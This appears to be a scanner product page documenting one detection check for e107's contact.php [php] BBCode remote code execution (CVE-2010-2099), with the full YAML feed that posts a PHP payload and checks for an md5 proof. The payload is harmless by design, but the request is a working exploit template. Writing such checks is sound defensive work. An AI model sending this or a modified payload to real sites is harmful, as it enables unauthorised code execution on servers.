e107 — 1 vulnerability check

noctis ships 1 vulnerability check for e107, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

e107 contact.php [php] BBCode Remote PHP Code Execution

CVECVE-2010-2099
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/e107/CVE-2010-2099.yaml

e107 0.7.20 and earlier run the [php] BBCode for anonymous visitors in the fields of the contact form: contact.php parses the posted sender name as BBCode, and the [php] handler evaluates the enclosed text as PHP code, so any visitor can execute code on the server.

Under the web root and /e107, this check posts the contact form to contact.php with a sender name of [php]exit(md5(A*B));[/php], where A and B are random numbers chosen for each scan. The finding requires the md5 hash of the product A*B in the reply, which only appears when the server evaluated the code; a site that escapes the BBCode or echoes the submitted name is not reported. The code only prints a hash and stops the request before the message is sent, so no e-mail goes out and nothing is changed on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/contact.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: e107 contact.php [php] BBCode Remote PHP Code Execution (CVE-2010-2099)

References:

Feed source — tests/vulnerabilities/e107/CVE-2010-2099.yaml
# e107 <= 0.7.20 — contact.php [php] BBCode remote PHP code execution — CVE-2010-2099
#
# contact.php passes the posted author_name (and subject/body) through
# $tp->toEmail(..., TRUE, "rawtext"), which calls toHTML() with BBCode parsing on.
# e107_handlers/bbcode_handler.php then runs e107_files/bbcode/php.bb, which eval()s the
# text between [php] and [/php] — for any anonymous visitor, before the CAPTCHA and
# field checks of the form. Fixed in 0.7.21: toEmail() turns "[php" into "&#91;php" for
# posted text and php.bb returns '' when the php_bbcode preference is "nobody"
# (diff of tags v0.7.20..v0.7.21 in github.com/e107inc/e107).
#
# Differences with the source NASL (2010/gb_e107_40252.nasl):
#   - the NASL runs phpinfo();die(); and reports a phpinfo() title OR any "php.net" in
#     the reply — the latter matches any page linking to php.net (false positive) and
#     phpinfo() is often disabled (disable_functions), a false negative. This feed runs
#     exit(md5(A*B)) with random A and B (A*B < 2^31, so 32-bit PHP prints the same
#     integer) and requires that exact md5 in the reply: it appears only when PHP ran
#     the product, never from an echo of the request (which carries neither the product
#     nor its hash). The payload has no "[" (the BBCode splitter would cut it) and no
#     "$"; exit() flushes the output buffer the BBCode handler opened;
#   - the NASL relies on its product detection for the install dir; this feed walks the
#     web root and /e107.
# The code runs before the e-mail is built, and exit() stops the script there: no mail
# is sent and nothing is written.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_e107_40252.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100649, GPL-2.0-only).
uid: 31962ade-6719-444f-889c-a3c29cf23272
name: "e107 contact.php [php] BBCode Remote PHP Code Execution (CVE-2010-2099)"
description: |
  e107 0.7.20 and earlier run the [php] BBCode for anonymous visitors in the fields of
  the contact form: contact.php parses the posted sender name as BBCode, and the [php]
  handler evaluates the enclosed text as PHP code, so any visitor can execute code on
  the server.

  Under the web root and /e107, this check posts the contact form to contact.php with a
  sender name of [php]exit(md5(A*B));[/php], where A and B are random numbers chosen
  for each scan. The finding requires the md5 hash of the product A*B in the reply,
  which only appears when the server evaluated the code; a site that escapes the BBCode
  or echoes the submitted name is not reported. The code only prints a hash and stops
  the request before the message is sent, so no e-mail goes out and nothing is changed
  on the server.
cves: [CVE-2010-2099]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [e107, php, bbcode, code-injection, rce, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2099"
  - "http://www.securityfocus.com/bid/40252"
  - "https://github.com/e107inc/e107/tree/v0.7.21/e107_files/bbcode"
  # OpenVAS/Greenbone NASL 2010/gb_e107_40252.nasl (GPL-2.0-only)

steps:
  # md5(A*B) is printed only when PHP evaluates the [php] block.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 46340);
      let b = rand_int(10000, 46340);
      #{
        body: "send-contactus=1&author_name=%5Bphp%5Dexit%28md5%28" + a + "*" + b + "%29%29%3B%5B%2Fphp%5D",
        code: "exit(md5(" + a + "*" + b + "));",
        expect: md5("" + (a * b))
      }
    store_as: probe

  # ── Loop group: every following step runs once per install dir.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/e107"]

  - id: rce-probe
    action: http_request
    method: POST
    path: "{{dir}}/contact.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}{{dir}}/contact.php"
    body: "{{probe.body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report
    action: match
    source: rce_proof
    pattern: '^[0-9a-f]{32}$'
    on_match:
      finding:
        title: "e107 contact.php [php] BBCode Remote PHP Code Execution (CVE-2010-2099)"
        description: "The contact form evaluated PHP code sent in a [php] BBCode block of the sender name: the reply contains the md5 hash of a product of two random numbers that only the executed code could compute. Any anonymous visitor can run arbitrary PHP code with the rights of the web server."
        remediation: "Upgrade e107 to 0.7.21 or later (current releases are 2.x)."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/contact.php with author_name=[php]{{probe.code}}[/php] returned HTTP {{rce_r.status}} containing md5 of the product computed by the server: {{rce_proof}}"
      stop: true

View these feeds on GitHub